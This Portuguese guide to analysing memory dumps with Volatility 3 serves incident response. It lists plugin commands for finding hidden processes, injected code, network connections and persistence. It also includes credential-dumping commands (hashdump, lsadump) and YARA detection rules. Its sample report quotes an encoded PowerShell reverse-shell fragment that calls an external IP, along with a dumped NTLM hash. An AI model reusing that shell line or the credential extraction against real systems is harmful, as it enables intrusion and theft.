Analisando Dumps de Memória com Volatility
Quando Usar
- A RAM de um sistema comprometido foi capturada e precisa de análise forense para artefatos de malware
- Detectando malware fileless que existe apenas em memória sem artefatos persistentes em disco
- Extraindo chaves de criptografia, senhas ou configuração descriptografada da memória de processos
- Identificando injeção de processo, injeção de DLL ou process hollowing em um sistema comprometido
- Analisando atividade de rootkit que se esconde de ferramentas forenses baseadas em disco
Não use para análise de imagens de disco; use Autopsy, FTK ou Sleuth Kit para forense de disco.
Pré-requisitos
- Volatility 3 instalado (
pip install volatility3) com tabelas de símbolos para o SO alvo - Arquivo de dump de memória adquirido do sistema alvo (usando WinPmem, LiME ou DumpIt)
- Conhecimento da versão do SO de origem para seleção correta de perfil/símbolos
- Espaço em disco suficiente (dumps de memória podem ter de 4 a 64 GB)
- Regras YARA para escanear a memória em busca de assinaturas de malware conhecidas
- Utilitário Strings para extrair strings legíveis de regiões de memória
Fluxo de Trabalho
Passo 1: Identificar o Perfil do Dump de Memória
Determine o sistema operacional e a versão a partir do dump de memória:
# Volatility 3: Detecção automática de SO
vol3 -f memory.dmp windows.info
# Listar plugins disponíveis
vol3 -f memory.dmp --help
# Se símbolos forem necessários, baixe de:
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# Para Volatility 2 (legado):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
Passo 2: Enumerar Processos em Execução
Liste todos os processos e identifique entradas suspeitas:
# Listar todos os processos
vol3 -f memory.dmp windows.pslist
# Árvore de processos (relações pai-filho)
vol3 -f memory.dmp windows.pstree
# Escanear por processos ocultos/não vinculados (detecção de rootkit)
vol3 -f memory.dmp windows.psscan
# Comparar pslist vs psscan para encontrar processos ocultos
# Processos em psscan mas não em pslist estão potencialmente ocultos por rootkits
# Verificar process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Em seguida, verifique se o EXE extraído corresponde ao binário esperado no disco
Indicadores de Processo Suspeito:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe não iniciado por services.exe (pai errado)
- csrss.exe/lsass.exe com processo pai incomum
- Múltiplas instâncias de lsass.exe (deve haver apenas uma)
- Processos com nomes com erros ortográficos (scvhost.exe, lssas.exe)
- cmd.exe ou powershell.exe iniciados por WINWORD.EXE ou navegador
- Processos executando de caminhos incomuns (%TEMP%, %APPDATA%)
- Processos sem pai (órfãos - pai encerrado)
Passo 3: Detectar Injeção de Código Malicioso
Escaneie por código injetado e process hollowing:
# Detectar código injetado em processos (malfind)
vol3 -f memory.dmp windows.malfind
# Malfind procura por:
# - Regiões de memória com proteção PAGE_EXECUTE_READWRITE
# - Regiões de memória contendo cabeçalhos PE (assinatura MZ/PE)
# - Anomalias de VAD (Virtual Address Descriptor)
# Extrair regiões de memória injetadas para análise
vol3 -f memory.dmp windows.malfind --dump --pid 2184
# Listar DLLs carregadas por processo
vol3 -f memory.dmp windows.dlllist --pid 2184
# Detectar processos com hollowing comparando imagem mapeada ao disco
vol3 -f memory.dmp windows.hollowfind
# Escanear por drivers carregados (potenciais drivers de rootkit)
vol3 -f memory.dmp windows.driverscan
# Listar módulos do kernel
vol3 -f memory.dmp windows.modules
Passo 4: Analisar Conexões de Rede
Extraia conexões de rede ativas e encerradas:
# Listar todas as conexões de rede (ativas e escutando)
vol3 -f memory.dmp windows.netscan
# Colunas de saída: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner
# Filtrar por conexões estabelecidas para IPs externos
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
# Para Windows mais antigo (XP/2003):
vol3 -f memory.dmp windows.netstat
# Cruzar referência de PIDs com lista de processos
# Suspeito: svchost.exe conectado a IP externo em porta não padrão
# Suspeito: notepad.exe ou calc.exe com conexões de rede
Passo 5: Extrair Artefatos e Credenciais
Recupere dados sensíveis da memória:
# Extrair memória de processo para um PID específico
vol3 -f memory.dmp windows.memmap --dump --pid 2184
# Extrair histórico de linha de comando
vol3 -f memory.dmp windows.cmdline
# Extrair variáveis de ambiente
vol3 -f memory.dmp windows.envars --pid 2184
# Análise de registro (extrair chaves Run para persistência)
vol3 -f memory.dmp windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# Extrair credenciais com hash/cache
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump
# Extrair conteúdo da área de transferência
vol3 -f memory.dmp windows.clipboard
# Extração de arquivos da memória
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
Passo 6: Escanear Memória com Regras YARA
Aplique assinaturas YARA para detectar malware conhecido na memória:
# Escanear dump de memória inteiro com regras YARA
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
# Escanear memória de processo específico
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
# Escaneamento YARA embutido para padrões comuns
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
# Escanear por material de chave de criptografia
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
Passo 7: Geração de Linha do Tempo e Relatório
Crie uma linha do tempo da análise e compile as descobertas:
# Gerar linha do tempo abrangente
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
# A linha do tempo inclui:
# - Horários de criação/término de processos
# - Carimbos de data/hora de conexões de rede
# - Horários de modificação do registro
# - Horários de acesso a arquivos
# Exportar lista de processos para relatório
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
# Exportar conexões de rede
vol3 -f memory.dmp windows.netscan --output csv > network.csv
Conceitos Chave
| Termo | Definição |
|---|---|
| Forense de Memória | Análise do conteúdo da memória volátil (RAM) para identificar processos em execução, conexões de rede e artefatos na memória que podem não existir no disco |
| Process Hollowing | Técnica de malware que cria um processo legítimo em estado suspenso, substitui sua memória por código malicioso e retoma a execução |
| Malfind | Plugin do Volatility que detecta código injetado identificando regiões de memória com permissões executáveis e cabeçalhos PE em VADs que não são de imagem |
| VAD (Descritor de Endereço Virtual) | Estrutura do kernel do Windows que rastreia regiões de memória alocadas a um processo; anomalias em VADs indicam injeção ou hollowing |
| EPROCESS | Estrutura do kernel do Windows que representa um processo; rootkits desvinculam entradas EPROCESS para ocultar processos de ferramentas padrão |
| Varredura por Pool Tag | Técnica de forense de memória que escaneia tags de pool de objetos do kernel para encontrar objetos (processos, arquivos, conexões) mesmo quando desvinculados |
| Malware Fileless | Malware que opera inteiramente em memória sem criar arquivos em disco; detectável apenas através de forense de memória |
Ferramentas e Sistemas
- Volatility 3: Framework de forense de memória de código aberto que suporta análise de memória Windows, Linux e macOS com arquitetura de plugins
- WinPmem: Ferramenta de aquisição de memória para sistemas Windows que cria dumps de memória brutos para análise offline
- LiME (Linux Memory Extractor): Módulo de kernel carregável para capturar dumps de memória de sistemas Linux
- Rekall: Framework alternativo de forense de memória com algumas capacidades únicas de análise (descontinuado, mas ainda útil)
- MemProcFS: Sistema de arquivos de processo de memória que permite montar dumps de memória como sistemas de arquivos para análise intuitiva
Cenários Comuns
Cenário: Detectando Malware Fileless Após Alerta de EDR
Contexto: EDR detectou atividade suspeita do PowerShell, mas o ator da ameaça limpou artefatos em disco. Um dump de memória foi capturado antes da reinicialização do sistema. A análise precisa identificar o malware, seu mecanismo de persistência e qualquer movimento lateral.
Abordagem:
- Execute
windows.pstreepara identificar a cadeia de processos (qual processo iniciou o PowerShell) - Execute
windows.malfindpara detectar código injetado em processos em execução - Extraia a memória do processo suspeito e extraia strings para URLs de C2
- Execute
windows.netscanpara identificar conexões de rede dos processos comprometidos - Execute
windows.cmdlinepara ver quais comandos o PowerShell executou - Escaneie com regras YARA para famílias de malware conhecidas na memória do processo extraída
- Extraia credenciais com
hashdumpelsadumppara avaliar risco de movimento lateral
Armadilhas:
- Usar as tabelas de símbolos erradas para a versão do SO (causa falhas de plugin ou resultados incorretos)
- Não comparar a saída de
pslistvspsscan(perder processos ocultos por rootkit) - Ignorar processos legítimos que foram alvo de injeção (focar em resultados de malfind, não apenas nomes de processos)
- Não extrair a memória completa do processo antes de concluir a análise (strings do dump de processo podem revelar IOCs adicionais)
Formato de Saída
RELATÓRIO DE ANÁLISE FORENSE DE MEMÓRIA
===========================================
Arquivo de Dump: memory.dmp
Tamanho do Dump: 16 GB
Versão do SO: Windows 10 21H2 (Build 19044)
Ferramenta de Captura: WinPmem 4.0
Horário da Captura: 2025-09-15 14:35:00 UTC
PROCESSOS SUSPEITOS
PID PPID Nome Caminho Anomalia
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Caminho errado
4012 2184 powershell.exe C:\Windows\System32\powershell.exe Filho de svchost falso
3456 4012 cmd.exe C:\Windows\System32\cmd.exe Iniciado por PowerShell
INJEÇÃO DE CÓDIGO DETECTADA (malfind)
PID 852 (explorer.exe):
Endereço: 0x00400000 Tamanho: 98304 Proteção: PAGE_EXECUTE_READWRITE
Cabeçalho: MZ (PE embutido detectado)
SHA-256 do dump: abc123def456...
CONEXÕES DE REDE
PID Processo Local Remoto Estado
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABELECIDA
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABELECIDA
CREDENCIAIS EXTRAÍDAS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
HISTÓRICO DE LINHA DE COMANDO
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
Decodificado: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
CORRESPONDÊNCIAS YARA
PID 2184: regra CobaltStrike_Beacon { correspondência em 0x00401200 }
LINHA DO TEMPO
14:10:00 svchost.exe (PID 2184) criado de C:\Users\Admin\AppData\Temp\
14:10:05 Conexão de rede para 185.220.101.42:443 estabelecida
14:12:30 powershell.exe (PID 4012) iniciado por svchost.exe
14:15:00 Injeção de código em explorer.exe (PID 852) detectada
14:20:00 Extração de credenciais do processo LSASS